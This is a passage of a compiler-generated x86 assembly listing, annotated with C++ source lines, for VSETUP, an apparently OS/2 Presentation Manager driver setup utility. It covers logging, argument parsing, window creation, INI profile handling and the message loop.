db "N) returned %lu - last e"
db "rror %#x",0h
align 04h
@CBE41 db "Sorry, can't continue (n"
db "o directory to place ini"
db ")",0h
align 04h
@CBE42 db "ini",0h
@CBE43 db "Copying old size of main"
db " window",0h
@CBE44 db "Copying old position of "
db "main window",0h
@1vcid db "$Id: vsetup.cpp,v 1.14 2"
db "000/04/15 23:47:43 vitus"
db " Exp $",0h
align 04h
@8szMleFirst db "Startup",0h
CONST32_RO ends
BSS32 segment
fSetupMode dw 0h
align 04h
szPrgName db 0100h DUP (0h)
@4szPrgDir db 0104h DUP (0h)
@5hwndClient dd 0h
@6uLogLevel dd 0h
@7hdLogFile dd 0h
@35regular dd 0h
BSS32 ends
DATA32 segment
@43lOffset dd 08h
dd _exeentry
DATA32 ends
CODE32 segment
; 237 SetLogfile(HFILE newfile)
public SetLogfile
SetLogfile proc
mov ecx,eax
; 239 HFILE old = hdLogFile;
mov eax,dword ptr @7hdLogFile
; 240 hdLogFile = newfile;
mov dword ptr @7hdLogFile,ecx
; 241 return old;
ret
SetLogfile endp
; 211 SetLoglevel(unsigned newlevel)
public SetLoglevel
SetLoglevel proc
mov ecx,eax
; 213 unsigned old = uLogLevel;
mov eax,dword ptr @6uLogLevel
; 215 uLogLevel = newlevel;
mov dword ptr @6uLogLevel,ecx
; 216 return old;
ret
SetLoglevel endp
; 674 main(int argc,char *argv[])
public main
main proc
push ebp
mov ebp,esp
push ebx
mov [ebp+08h],eax; argc
push edi
mov [ebp+0ch],edx; argv
push esi
; 676 MAIN_WINDOW_DATA *windata = new MAIN_WINDOW_DATA;
mov eax,08h
; 674 main(int argc,char *argv[])
sub esp,05c4h
; 677 int rc = 0;
mov dword ptr [ebp-014h],0h; rc
; 676 MAIN_WINDOW_DATA *windata = new MAIN_WINDOW_DATA;
call __nw__FUi
mov edx,eax
; 684 SetLoglevel(1);
mov eax,01h
call SetLoglevel
; 676 MAIN_WINDOW_DATA *windata = new MAIN_WINDOW_DATA;
mov [ebp-010h],edx; windata
; 685 if( windata == NULL )
test edx,edx
jne @BLBL54
; 687 fprintf(stderr, "VSETUP\tmain - memory problem\n");
mov eax,dword ptr stderr
mov edx,offset FLAT:@CBE30
call _fprintfieee
; 688 return 1;
add esp,05c4h
mov eax,01h
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL54:
; 690 if( ExamineArgs(argc, argv) != 0 )
mov edx,[ebp+0ch]; argv
mov eax,[ebp+08h]; argc
call ExamineArgs__FiPPc
test eax,eax
je @BLBL56
; 691 return 2;
add esp,05c4h
mov eax,02h
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL56:
; 695 if( !(windata->hab = WinInitialize(0)) )
push 0h
call WinInitialize
add esp,04h
mov ecx,[ebp-010h]; windata
test eax,eax
mov [ecx],eax
jne @BLBL57
; 697 Verbose(0, "VSETUP", "WinInitialize failed!?!");
xor eax,eax
mov ecx,offset FLAT:@CBE31
mov edx,offset FLAT:@CBE2
call Verbose
; 698 rc = 1;
mov dword ptr [ebp-014h],01h; rc
; 699 break;
jmp @BLBL58
@BLBL57:
; 702 if( !(hmq = WinCreateMsgQueue(windata->hab, 0)) )
mov ebx,[ebp-010h]; windata
push 0h
push dword ptr [ebx]
call WinCreateMsgQueue
add esp,08h
mov [ebp-024h],eax; hmq
test eax,eax
jne @BLBL59
; 704 Verbose(0, "VSETUP", "WinCreateMsgQueue - error %#x",
push dword ptr [ebx]
; 706 rc = 2;
mov dword ptr [ebp-014h],02h; rc
; 704 Verbose(0, "VSETUP", "WinCreateMsgQueue - error %#x",
call WinGetLastError
push eax
mov ecx,offset FLAT:@CBE32
sub esp,0ch
mov edx,offset FLAT:@CBE2
xor eax,eax
call Verbose
add esp,014h
; 707 break;
jmp @BLBL58
@BLBL59:
; 710 if( !WinRegisterClass(windata->hab, WC_MAIN, WindowProc,
push 04h
mov ebx,[ebp-010h]; windata
push 01h
push offset FLAT: WindowProc
push offset FLAT:@CBE13
push dword ptr [ebx]
call WinRegisterClass
add esp,014h
test eax,eax
jne @BLBL60
; 713 Verbose(0, "VSETUP", "WinRegisterClass - error %#x",
push dword ptr [ebx]
; 715 rc = 3;
mov dword ptr [ebp-014h],03h; rc
; 713 Verbose(0, "VSETUP", "WinRegisterClass - error %#x",
call WinGetLastError
push eax
mov ecx,offset FLAT:@CBE33
sub esp,0ch
mov edx,offset FLAT:@CBE2
xor eax,eax
call Verbose
add esp,014h
; 716 break;
jmp @BLBL58
@BLBL60:
; 722 hwndFrame = WinCreateStdWindow(HWND_DESKTOP, WS_ANIMATE, &flCreate,
push offset FLAT:@5hwndClient
lea ebx,[ebp-020h]; flCreate
push 064h
; 719 flCreate = FCF_SIZEBORDER | FCF_TASKLIST | FCF_SYSMENU | FCF_TITLEBAR
mov dword ptr [ebp-020h],0483fh; flCreate
; 722 hwndFrame = WinCreateStdWindow(HWND_DESKTOP, WS_ANIMATE, &flCreate,
push 0h
push 0h
push offset FLAT:@CBE34
push offset FLAT:@CBE13
push ebx
push 0400000h
push 01h
call WinCreateStdWindow
add esp,024h
mov [ebp-018h],eax; hwndFrame
; 727 if( !hwndFrame || !hwndClient )
test eax,eax
je @BLBL61
cmp dword ptr @5hwndClient,0h
jne @BLBL62
@BLBL61:
; 729 Verbose(0, "VSETUP", "WinCreateStdWindow - error %#x",
mov ebx,[ebp-010h]; windata
push dword ptr [ebx]
; 731 rc = 4; /* couldn't create window for some
mov dword ptr [ebp-014h],04h; rc
; 729 Verbose(0, "VSETUP", "WinCreateStdWindow - error %#x",
call WinGetLastError
push eax
mov ecx,offset FLAT:@CBE35
sub esp,0ch
mov edx,offset FLAT:@CBE2
xor eax,eax
call Verbose
add esp,014h
; 733 break;
jmp @BLBL58
@BLBL62:
; 742 WinQueryWindowPos(hwndClient, &size);
lea ebx,[ebp-078h]; size
push ebx
push dword ptr @5hwndClient
call WinQueryWindowPos
; 743 Verbose(3, "VSETUP", "client window %u,%u %u,%u",
push dword ptr [ebp-074h]; size
mov ecx,offset FLAT:@CBE36
push dword ptr [ebp-070h]; size
mov edx,offset FLAT:@CBE2
push dword ptr [ebp-06ch]; size
mov eax,03h
push dword ptr [ebp-068h]; size
sub esp,0ch
call Verbose
; 746 windata->hwndMle = WinCreateWindow(hwndClient, WC_MLE, szMleFirst,
push 0h
mov ebx,dword ptr @5hwndClient
push 0h
push 062h
push 03h
push ebx
push dword ptr [ebp-074h]; size
push dword ptr [ebp-070h]; size
push dword ptr [ebp-06ch]; size
push dword ptr [ebp-068h]; size
push 08000001ch
push offset FLAT:@8szMleFirst
push 0ffff000ah
push ebx
call WinCreateWindow
add esp,058h
mov ebx,[ebp-010h]; windata
; 753 if( windata->hwndMle == NULLHANDLE )
test eax,eax
; 746 windata->hwndMle = WinCreateWindow(hwndClient, WC_MLE, szMleFirst,
mov [ebx+04h],eax
; 753 if( windata->hwndMle == NULLHANDLE )
jne @BLBL63
; 755 MyMessageBox(0, HWND_DESKTOP,
push dword ptr [ebx]
; 758 rc = 5;
mov dword ptr [ebp-014h],05h; rc
; 755 MyMessageBox(0, HWND_DESKTOP,
call WinGetLastError
push eax
mov ecx,offset FLAT:@CBE37
sub esp,0ch
mov edx,01h
xor eax,eax
call MyMessageBox__FCiCUlPce
add esp,014h
; 759 break;
jmp @BLBL58
@BLBL63:
; 762 bool = WinSetWindowPtr(hwndClient, 0, windata);
mov ebx,[ebp-010h]; windata
push ebx
push 0h
push dword ptr @5hwndClient
call WinSetWindowPtr
add esp,0ch
; 763 if( bool == FALSE )
test eax,eax
jne @BLBL64
; 765 MyMessageBox(0, HWND_DESKTOP,
push dword ptr [ebx]
; 768 rc = 6;
mov dword ptr [ebp-014h],06h; rc
; 765 MyMessageBox(0, HWND_DESKTOP,
call WinGetLastError
push eax
mov ecx,offset FLAT:@CBE38
sub esp,0ch
mov edx,01h
xor eax,eax
call MyMessageBox__FCiCUlPce
add esp,014h
; 769 break;
jmp @BLBL58
@BLBL64:
; 771 WinPostMsg(windata->hwndMle, MLM_RESETUNDO, NULL, NULL);
push 0h
mov ebx,[ebp-010h]; windata
push 0h
push 01cfh
push dword ptr [ebx+04h]
call WinPostMsg
; 777 HWND hwndMenu = WinWindowFromID(hwndFrame, FID_MENU);
push 08005h
push dword ptr [ebp-018h]; hwndFrame
call WinWindowFromID
; 779 WinEnableMenuItem(hwndMenu, IDM_CUT, FALSE);
push 040004000h
; 777 HWND hwndMenu = WinWindowFromID(hwndFrame, FID_MENU);
mov ebx,eax
; 779 WinEnableMenuItem(hwndMenu, IDM_CUT, FALSE);
push 010079h
; 777 HWND hwndMenu = WinWindowFromID(hwndFrame, FID_MENU);
mov [ebp-028h],ebx; hwndMenu
; 779 WinEnableMenuItem(hwndMenu, IDM_CUT, FALSE);
push 0192h
push ebx
call WinSendMsg
; 780 WinEnableMenuItem(hwndMenu, IDM_PASTE, FALSE);
push 040004000h
push 01007bh
push 0192h
push ebx
call WinSendMsg
; 783 WinEnableMenuItem(hwndMenu, IDM_FILE, FALSE);
push 040004000h
push 01006eh
push 0192h
push ebx
call WinSendMsg
; 789 if( DriverOpen() != 0 )
call DriverOpen__Fv
add esp,048h
test eax,eax
je @BLBL65
; 791 WinEnableMenuItem(hwndMenu, IDM_DRIVER, FALSE);
push 040004000h
push 010082h
push 0192h
push ebx
call WinSendMsg
add esp,010h
; 792 }
jmp @BLBL66
@BLBL65:
; 798 DriverGetVersion(&ver, &flags);
lea edx,[ebp-02eh]; flags
; 795 fSetupMode |= SM_FLTAVAIL;
or byte ptr fSetupMode,01h
; 798 DriverGetVersion(&ver, &flags);
lea eax,[ebp-030h]; ver
call DriverGetVersion__FPUsT1
; 799 if( (flags & 0x20) )
test byte ptr [ebp-02eh],020h; flags
je @BLBL66
; 800 WinCheckMenuItem(hwndMenu,IDM_NOBEEP, 1);
push 020002000h
push 010085h
push 0192h
push dword ptr [ebp-028h]; hwndMenu
call WinSendMsg
add esp,010h
; 801 }
@BLBL66:
; 814 length = PrfQueryProfileString(HINI_USERPROFILE,
push 0104h
lea ebx,[ebp-01a0h]; path
push ebx
push 0h
push offset FLAT:@CBE39
push offset FLAT:@CBE20
push 0ffffffffh
call PrfQueryProfileString
add esp,018h
mov edx,ebx
; 820 if( length == 0 || CheckValidDir(hwndFrame, path) )
test eax,eax
je @BLBL68
mov eax,[ebp-018h]; hwndFrame
call CheckValidDir__FCUlCPCc
test eax,eax
je @BLBL69
@BLBL68:
; 824 strcpy(path, szPrgDir); /* default value */
lea ebx,[ebp-01a0h]; path
mov edx,offset FLAT:@4szPrgDir
mov eax,ebx
call strcpy
; 825 result = WinDlgBox(HWND_DESKTOP, hwndFrame, InilocDialogProc,
push ebx
; 827 Verbose(2, "VSETUP", "WinDlgBox(IDW_INILOCATION) returned %lu "
mov edi,offset FLAT:@CBE2
; 825 result = WinDlgBox(HWND_DESKTOP, hwndFrame, InilocDialogProc,
push 0258h
push 0h
push offset FLAT: InilocDialogProc
push dword ptr [ebp-018h]; hwndFrame
push 01h
call WinDlgBox
; 827 Verbose(2, "VSETUP", "WinDlgBox(IDW_INILOCATION) returned %lu "
mov ecx,[ebp-010h]; windata
; 825 result = WinDlgBox(HWND_DESKTOP, hwndFrame, InilocDialogProc,
mov ebx,eax
; 827 Verbose(2, "VSETUP", "WinDlgBox(IDW_INILOCATION) returned %lu "
push dword ptr [ecx]
call WinGetLastError
push eax
mov ecx,offset FLAT:@CBE40
push ebx
mov edx,edi
sub esp,0ch
mov eax,02h
call Verbose
add esp,030h
mov edx,edi
; 829 if( result != DID_OK )
cmp ebx,01h
je @BLBL70
; 831 Verbose(0, "VSETUP",
xor eax,eax
mov ecx,offset FLAT:@CBE41
call Verbose
; 833 return 4;
add esp,05c4h
mov eax,04h
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL70:
; 838 PrfWriteProfileString(HINI_USERPROFILE,
lea ebx,[ebp-01a0h]; path
push ebx
push offset FLAT:@CBE39
push offset FLAT:@CBE20
push 0ffffffffh
call PrfWriteProfileString
add esp,010h
; 840 }
@BLBL69:
; 842 _splitpath(path, drv, dir, fname, ext);
lea esi,[ebp-04c0h]; ext
push esi
lea edi,[ebp-03c0h]; fname
push edi
lea ebx,[ebp-02c0h]; dir
sub esp,0ch
lea edi,[ebp-02ch]; drv
mov ecx,ebx
mov edx,edi
lea eax,[ebp-01a0h]; path
call _splitpath
lea edx,[ebp-03c0h]; fname
; 843 strcat(dir, fname ), strcat( dir, ext);
mov eax,ebx
call strcat
mov edx,esi
mov eax,ebx
call strcat
; 844 _makepath(inifile, drv, dir, szPrgName, "ini");
push offset FLAT:@CBE42
; 843 strcat(dir, fname ), strcat( dir, ext);
mov edx,edi
; 844 _makepath(inifile, drv, dir, szPrgName, "ini");
push offset FLAT:szPrgName
; 843 strcat(dir, fname ), strcat( dir, ext);
mov ecx,ebx
; 844 _makepath(inifile, drv, dir, szPrgName, "ini");
sub esp,0ch
; 845 ProfileOpen(windata->hab, inifile);
mov edi,[ebp-010h]; windata
; 844 _makepath(inifile, drv, dir, szPrgName, "ini");
lea ebx,[ebp-05c4h]; inifile
mov eax,ebx
call _makepath
; 845 ProfileOpen(windata->hab, inifile);
mov eax,[edi]
; 844 _makepath(inifile, drv, dir, szPrgName, "ini");
mov edx,ebx
; 845 ProfileOpen(windata->hab, inifile);
call ProfileOpen
; 854 WinQueryTaskSizePos(windata->hab, 0, &swp); /* initialize 'swp' */
lea ecx,[ebp-054h]; swp
push ecx
push 0h
push dword ptr [edi]
; 857 if( ProfileRead(WC_MAIN, "Size", &cb, &tmp) == 0 )
lea ebx,[ebp-09ch]; tmp
; 854 WinQueryTaskSizePos(windata->hab, 0, &swp); /* initialize 'swp' */
call WinQueryTaskSizePos
; 857 if( ProfileRead(WC_MAIN, "Size", &cb, &tmp) == 0 )
push ebx
; 856 cb = sizeof(tmp);
mov dword ptr [ebp-01ch],024h; cb
; 857 if( ProfileRead(WC_MAIN, "Size", &cb, &tmp) == 0 )
sub esp,0ch
lea ecx,[ebp-01ch]; cb
mov edx,offset FLAT:@CBE14
mov eax,offset FLAT:@CBE13
call ProfileRead
add esp,044h
test eax,eax
jne @BLBL71
; 859 Verbose(3, "VSETUP", "Copying old size of main window");
mov ecx,offset FLAT:@CBE43
mov edx,offset FLAT:@CBE2
mov eax,03h
call Verbose
; 860 swp.cx = tmp.cx;
mov eax,[ebp-094h]; tmp
mov [ebp-04ch],eax; swp
; 861 swp.cy = tmp.cy;
mov eax,[ebp-098h]; tmp
; 862 swp.fl |= SWP_SIZE;
or byte ptr [ebp-054h],01h; swp
; 861 swp.cy = tmp.cy;
mov [ebp-050h],eax; swp
; 863 }
@BLBL71:
; 865 if( ProfileRead(WC_MAIN, "Position", &cb, &tmp) == 0 )
lea ebx,[ebp-09ch]; tmp
push ebx
; 864 cb = sizeof(tmp);
mov dword ptr [ebp-01ch],024h; cb
; 865 if( ProfileRead(WC_MAIN, "Position", &cb, &tmp) == 0 )
sub esp,0ch
lea ecx,[ebp-01ch]; cb
mov edx,offset FLAT:@CBE16
mov eax,offset FLAT:@CBE13
call ProfileRead
add esp,010h
test eax,eax
jne @BLBL72
; 867 Verbose(3, "VSETUP", "Copying old position of main window");
mov ecx,offset FLAT:@CBE44
mov edx,offset FLAT:@CBE2
mov eax,03h
call Verbose
; 868 swp.x = tmp.x;
mov eax,[ebp-08ch]; tmp
mov [ebp-044h],eax; swp
; 869 swp.y = tmp.y;
mov eax,[ebp-090h]; tmp
; 870 swp.fl |= SWP_MOVE;
or byte ptr [ebp-054h],02h; swp
; 869 swp.y = tmp.y;
mov [ebp-048h],eax; swp
; 871 }
@BLBL72:
; 872 WinSetWindowPos(hwndFrame, HWND_TOP, swp.x, swp.y, swp.cx, swp.cy,
push 08bh
; 880 while( WinGetMsg(windata->hab, &qmsg, 0L, 0, 0) )
mov ebx,[ebp-010h]; windata
; 872 WinSetWindowPos(hwndFrame, HWND_TOP, swp.x, swp.y, swp.cx, swp.cy,
push dword ptr [ebp-050h]; swp
push dword ptr [ebp-04ch]; swp
push dword ptr [ebp-048h]; swp
push dword ptr [ebp-044h]; swp
push 03h
push dword ptr [ebp-018h]; hwndFrame
call WinSetWindowPos
; 879 bool = WinPostMsg(hwndClient, WUM_START, 0, 0);
push 0h
push 0h
push 01002h
push dword ptr @5hwndClient
call WinPostMsg
; 880 while( WinGetMsg(windata->hab, &qmsg, 0L, 0, 0) )
push 0h
lea ecx,[ebp-01c0h]; qmsg
push 0h
push 0h
push ecx
push dword ptr [ebx]
call WinGetMsg
add esp,040h
test eax,eax
je @BLBL73
mov edi,ebx
@BLBL74:
; 881 WinDispatchMsg(windata->hab, &qmsg);
lea ebx,[ebp-01c0h]; qmsg
push ebx
push dword ptr [edi]
call WinDispatchMsg
; 880 while( WinGetMsg(windata->hab, &qmsg, 0L, 0, 0) )
push 0h
push 0h
push 0h
push ebx
push dword ptr [edi]
call WinGetMsg
add esp,01ch
test eax,eax
jne @BLBL74
@BLBL73:
; 889 WinTerminate(windata->hab);
mov esi,[ebp-010h]; windata
; 885 DriverClose(); /* ignore errors */
call DriverClose__Fv
; 887 WinDestroyWindow(hwndFrame);
push dword ptr [ebp-018h]; hwndFrame
call WinDestroyWindow
; 888 WinDestroyMsgQueue(hmq);
push dword ptr [ebp-024h]; hmq
call WinDestroyMsgQueue
; 889 WinTerminate(windata->hab);
push dword ptr [esi]
call WinTerminate
mov eax,esi
; 890 delete windata;
call __dl__FPv
add esp,0ch
; 892 while(0);
@BLBL58:
; 894 return rc;
mov eax,[ebp-014h]; rc
add esp,05c4h
pop esi
pop edi
pop ebx
pop ebp
ret
main endp
; 594 ExamineArgs(int argc,char *argv[])
ExamineArgs__FiPPc proc
push ebp
mov ebp,esp
push ebx
mov ebx,edx
push edi
mov [ebp+0ch],ebx; argv
push esi
mov esi,eax
sub esp,0218h
; 599 _splitpath(argv[0], drv, dir, szPrgName, ext);
lea ecx,[ebp-021ch]; ext
push ecx
lea eax,[ebp-014h]; drv
push offset FLAT:szPrgName
; 594 ExamineArgs(int argc,char *argv[])
mov [ebp+08h],esi; argc
; 599 _splitpath(argv[0], drv, dir, szPrgName, ext);
sub esp,0ch
mov edx,eax
lea edi,[ebp-011ch]; dir
mov eax,[ebx]
mov ecx,edi
call _splitpath
mov ecx,edi
; 600 _makepath(szPrgDir, drv, dir, "", "");
mov edi,offset FLAT:@CBE27
push edi
; 599 _splitpath(argv[0], drv, dir, szPrgName, ext);
lea edx,[ebp-014h]; drv
; 600 _makepath(szPrgDir, drv, dir, "", "");
push edi
mov eax,offset FLAT:@4szPrgDir
sub esp,0ch
call _makepath
mov eax,esi
add esp,028h
mov edx,ebx
; 602 while( argc > 1 && argv[1][0] == '-' )
cmp eax,01h
jle @BLBL42
mov ecx,[edx+04h]
cmp byte ptr [ecx],02dh
jne @BLBL42
mov esi,[ebp-01ch]; newlevel
mov edi,eax
@BLBL43:
; 604 switch( argv[1][1] )
mov eax,[edx+04h]
movzx eax,byte ptr [eax+01h]
cmp eax,06ch
je @BLBL84
cmp eax,071h
je @BLBL82
cmp eax,076h
je @BLBL83
jmp @BLBL85
@BLBL82:
; 607 SetLoglevel(VL_FATAL);
xor eax,eax
call SetLoglevel
; 608 break;
jmp @BLBL81
@BLBL83:
; 611 if( argv[1][2] == ':' )
mov eax,[edx+04h]
cmp byte ptr [eax+02h],03ah
jne @BLBL44
mov ebx,edx
; 613 int newlevel = argv[1][3] - '0';
movzx esi,byte ptr [eax+03h]
sub esi,030h
; 615 Verbose(0, "VSETUP", "New log level %d", newlevel);
push esi
mov ecx,offset FLAT:@CBE28
sub esp,0ch
mov edx,offset FLAT:@CBE2
xor eax,eax
call Verbose
; 616 SetLoglevel(newlevel);
mov eax,esi
call SetLoglevel
; 615 Verbose(0, "VSETUP", "New log level %d", newlevel);
mov edx,ebx
; 616 SetLoglevel(newlevel);
add esp,010h
; 617 }
jmp @BLBL45
@BLBL44:
; 619 SetLoglevel(2);
mov eax,02h
call SetLoglevel
@BLBL45:
; 620 break;
jmp @BLBL81
@BLBL84:
; 623 if( argv[1][2] == ':' )
mov eax,[edx+04h]
cmp byte ptr [eax+02h],03ah
jne @BLBL46
; 629 rc = DosOpen(&argv[1][3], &hf, &ul,
push 0h
lea ebx,[ebp-018h]; ul
push 06121h
lea ecx,[ebp-010h]; hf
push 011h
add eax,03h
push 0h
; 623 if( argv[1][2] == ':' )
mov [ebp-0220h],edx; @CBE50
; 629 rc = DosOpen(&argv[1][3], &hf, &ul,
push 0h
push ebx
push ecx
push eax
call DosOpen
mov edx,[ebp-0220h]; @CBE50
add esp,020h
mov ecx,ebx
; 636 if( rc == 0 )
test eax,eax
jne @BLBL46
; 638 DosSetFilePtr(hf, 0, FILE_END, &ul);
push ecx
; 636 if( rc == 0 )
mov ebx,edx
; 638 DosSetFilePtr(hf, 0, FILE_END, &ul);
push 02h
push 0h
push dword ptr [ebp-010h]; hf
call DosSetFilePtr
; 639 SetLogfile(hf);
mov eax,[ebp-010h]; hf
call SetLogfile
; 638 DosSetFilePtr(hf, 0, FILE_END, &ul);
mov edx,ebx
; 639 SetLogfile(hf);
add esp,010h
; 641 }
@BLBL46:
; 642 break;
jmp @BLBL81
@BLBL85:
; 645 Verbose(0, "VSETUP", "unknown parameter \'%c\'", argv[1][1]);
mov eax,[edx+04h]
mov ecx,offset FLAT:@CBE29
movzx eax,byte ptr [eax+01h]
push eax
mov edx,offset FLAT:@CBE2
sub esp,0ch
xor eax,eax
call Verbose
add esp,010h
; 646 return 1;
add esp,0218h
mov eax,01h
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL81:
; 648 --argc;
dec edi
; 649 ++argv;
add edx,04h
; 602 while( argc > 1 && argv[1][0] == '-' )
cmp edi,01h
jle @BLBL42
mov eax,[edx+04h]
cmp byte ptr [eax],02dh
je @BLBL43
@BLBL42:
; 651 return 0;
xor eax,eax
add esp,0218h
pop esi
pop edi
pop ebx
pop ebp
ret
ExamineArgs__FiPPc endp
; 306 WindowProc(HWND hwnd,ULONG msg,MPARAM mp1,MPARAM mp2)
WindowProc proc
push ebp
mov ebp,esp
push ebx
push edi
push esi
sub esp,068h
; 308 MAIN_WINDOW_DATA * const windata = (PMAIN_WINDOW_DATA)WinQueryWindowPtr(hwnd, 0);
push 0h
push dword ptr [ebp+08h]; hwnd
call WinQueryWindowPtr
; 312 switch( msg )
mov ecx,[ebp+0ch]; msg
; 308 MAIN_WINDOW_DATA * const windata = (PMAIN_WINDOW_DATA)WinQueryWindowPtr(hwnd, 0);
add esp,08h
mov esi,eax
; 312 switch( msg )
cmp ecx,029h
jl @BLBL97
je @BLBL88
cmp ecx,01001h
jl @BLBL98
je @BLBL93
cmp ecx,01002h
je @BLBL89
cmp ecx,01003h
je @BLBL94
jmp @BLBL86
@BLBL98:
cmp ecx,03eh
je @BLBL90
cmp ecx,04fh
je @BLBL96
jmp @BLBL86
@BLBL97:
cmp ecx,06h
jl @BLBL99
je @BLBL92
cmp ecx,07h
je @BLBL91
cmp ecx,020h
je @BLBL95
jmp @BLBL86
@BLBL99:
cmp ecx,01h
jne @BLBL86
@BLBL87:
; 316 Verbose(3, "VSETUP", "WM_CREATE");
mov ecx,offset FLAT:@CBE8
mov edx,offset FLAT:@CBE2
mov eax,03h
call Verbose
; 317 break;
jmp @BLBL86
@BLBL88:
; 324 Verbose(3, "VSETUP", "WM_CLOSE");
mov ecx,offset FLAT:@CBE9
mov edx,offset FLAT:@CBE2
mov eax,03h
call Verbose
; 325 break; /* continue... */
jmp @BLBL86
@BLBL89:
; 345 Verbose(3, "VSETUP", "WUM_START");
mov ecx,offset FLAT:@CBE10
mov edx,offset FLAT:@CBE2
mov eax,03h
call Verbose
; 347 return 0;
add esp,068h
; 346 regular = TRUE;
mov dword ptr @35regular,01h
; 347 return 0;
pop esi
xor eax,eax
pop edi
pop ebx
pop ebp
ret
@BLBL90:
; 354 Verbose(3, "VSETUP", "WM_SAVEAPPLICATION");
mov ecx,offset FLAT:@CBE11
mov edx,offset FLAT:@CBE2
mov eax,03h
call Verbose
; 355 ProfileClose(windata->hab); /* there will be no more */
mov eax,esi
mov eax,[eax]
call ProfileClose
; 356 return NULL;
add esp,068h
xor eax,eax
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL91:
; 364 Verbose(3, "VSETUP", "WM_SIZE");
mov ecx,offset FLAT:@CBE12
mov edx,offset FLAT:@CBE2
mov eax,03h
call Verbose
; 368 if( windata != NULL )
cmp esi,0h
je @BLBL24
; 370 if( regular == TRUE
cmp dword ptr @35regular,01h
jne @BLBL25
push 05h
lea ebx,[ebp-044h]; size
push dword ptr [ebp+08h]; hwnd
call WinQueryWindow
push ebx
push eax
call WinQueryWindowPos
add esp,010h
cmp eax,01h
jne @BLBL25
; 373 ProfileWrite(WC_MAIN, "Size", sizeof(size), &size);
push ebx
mov ecx,024h
sub esp,0ch
mov edx,offset FLAT:@CBE14
mov eax,offset FLAT:@CBE13
call ProfileWrite
add esp,010h
@BLBL25:
; 375 if( WinQueryWindowPos(hwnd, &size) == TRUE )
lea ebx,[ebp-044h]; size
push ebx
push dword ptr [ebp+08h]; hwnd
call WinQueryWindowPos
add esp,08h
cmp eax,01h
jne @BLBL24
; 376 WinSetWindowPos(windata->hwndMle, HWND_TOP,
push 03h
mov ebx,esi
push dword ptr [ebp-040h]; size
push dword ptr [ebp-03ch]; size
push 0h
push 0h
push 03h
push dword ptr [ebx+04h]
call WinSetWindowPos
add esp,01ch
; 378 }
@BLBL24:
; 380 break;
jmp @BLBL86
@BLBL92:
; 387 Verbose(3, "VSETUP", "WM_MOVE");
mov ecx,offset FLAT:@CBE15
mov edx,offset FLAT:@CBE2
mov eax,03h
call Verbose
; 391 if( regular == TRUE
cmp dword ptr @35regular,01h
jne @BLBL27
push 05h
lea ebx,[ebp-068h]; swp
push dword ptr [ebp+08h]; hwnd
call WinQueryWindow
push ebx
push eax
call WinQueryWindowPos
add esp,010h
cmp eax,01h
jne @BLBL27
; 395 ProfileWrite(WC_MAIN, "Position", sizeof(swp), &swp);
push ebx
mov ecx,024h
sub esp,0ch
mov edx,offset FLAT:@CBE16
mov eax,offset FLAT:@CBE13
call ProfileWrite
add esp,010h
; 396 }
@BLBL27:
; 398 return 0;
xor eax,eax
add esp,068h
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL93:
; 411 char * str = (char *)PVOIDFROMMP(mp1);
mov ebx,[ebp+010h]; mp1
; 414 ULONG const cbBytes = strlen(str);
mov eax,ebx
call strlen
; 411 char * str = (char *)PVOIDFROMMP(mp1);
mov [ebp-014h],ebx; str
; 414 ULONG const cbBytes = strlen(str);
mov edx,ebx
mov [ebp-018h],eax; cbBytes
; 417 if( windata == NULL )
cmp esi,0h
jne @BLBL28
; 418 fprintf(stderr, str); /* no MLE created */
mov eax,dword ptr stderr
call _fprintfieee
jmp @BLBL29
@BLBL28:
; 421 bool = (BOOL)WinSendMsg(windata->hwndMle, MLM_SETIMPORTEXPORT,
mov bx,[ebp-018h]; cbBytes
movzx ebx,bx
push ebx
mov ebx,esi
push dword ptr [ebp+010h]; mp1
push 01c2h
push dword ptr [ebx+04h]
call WinSendMsg
add esp,010h
; 423 if( bool == FALSE )
test eax,eax
jne @BLBL30
; 424 fprintf(stderr, str);
mov edx,[ebp-014h]; str
mov eax,dword ptr stderr
call _fprintfieee
jmp @BLBL29
@BLBL30:
; 427 cb = (ULONG)WinSendMsg(windata->hwndMle, MLM_IMPORT,
mov ebx,[ebp-018h]; cbBytes
mov ecx,ebx
movzx ecx,cx
push ecx
mov ecx,esi
push offset FLAT:@43lOffset
push 01c3h
push dword ptr [ecx+04h]
call WinSendMsg
add esp,010h
; 430 if( cb != cbBytes )
cmp eax,ebx
je @BLBL29
; 431 fprintf(stderr,"mismatch: %lu of %lu imported\n",
push ebx
mov edx,offset FLAT:@CBE17
push eax
mov eax,dword ptr stderr
sub esp,08h
call _fprintfieee
add esp,010h
; 434 }
@BLBL29:
; 435 delete[] str; /* dynamically allocated! */
mov eax,[ebp-014h]; str
call __vd__FPv
; 437 return 0;
add esp,068h
xor eax,eax
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL94:
; 446 HWND const hwndFrame = WinQueryWindow(hwnd, QW_PARENT);
push 05h
; 449 Verbose(3, "VSETUP", "hwndFrame %#x", hwndFrame);
mov edi,offset FLAT:@CBE2
; 446 HWND const hwndFrame = WinQueryWindow(hwnd, QW_PARENT);
push dword ptr [ebp+08h]; hwnd
call WinQueryWindow
; 447 HWND const hwndMenu = WinWindowFromID(hwndFrame, FID_MENU);
push 08005h
; 446 HWND const hwndFrame = WinQueryWindow(hwnd, QW_PARENT);
mov ebx,eax
; 447 HWND const hwndMenu = WinWindowFromID(hwndFrame, FID_MENU);
push ebx
call WinWindowFromID
; 449 Verbose(3, "VSETUP", "hwndFrame %#x", hwndFrame);
push ebx
mov ebx,eax
sub esp,0ch
mov ecx,offset FLAT:@CBE18
mov edx,edi
mov eax,03h
call Verbose
; 450 Verbose(3, "VSETUP", "hwndMenu %#x", hwndMenu);
push ebx
; 449 Verbose(3, "VSETUP", "hwndFrame %#x", hwndFrame);
mov edx,edi
; 450 Verbose(3, "VSETUP", "hwndMenu %#x", hwndMenu);
sub esp,0ch
mov ecx,offset FLAT:@CBE19
mov eax,03h
call Verbose
; 451 bool = WinEnableMenuItem(hwndMenu, IDM_DRVSETUP, TRUE);
push 04000h
push 01008dh
push 0192h
push ebx
call WinSendMsg
add esp,040h
; 452 if( bool == FALSE )
test eax,eax
jne @BLBL33
; 453 Verbose(1, "VSetup",
mov ebx,esi
push dword ptr [ebx]
call WinGetLastError
push eax
mov ecx,offset FLAT:@CBE21
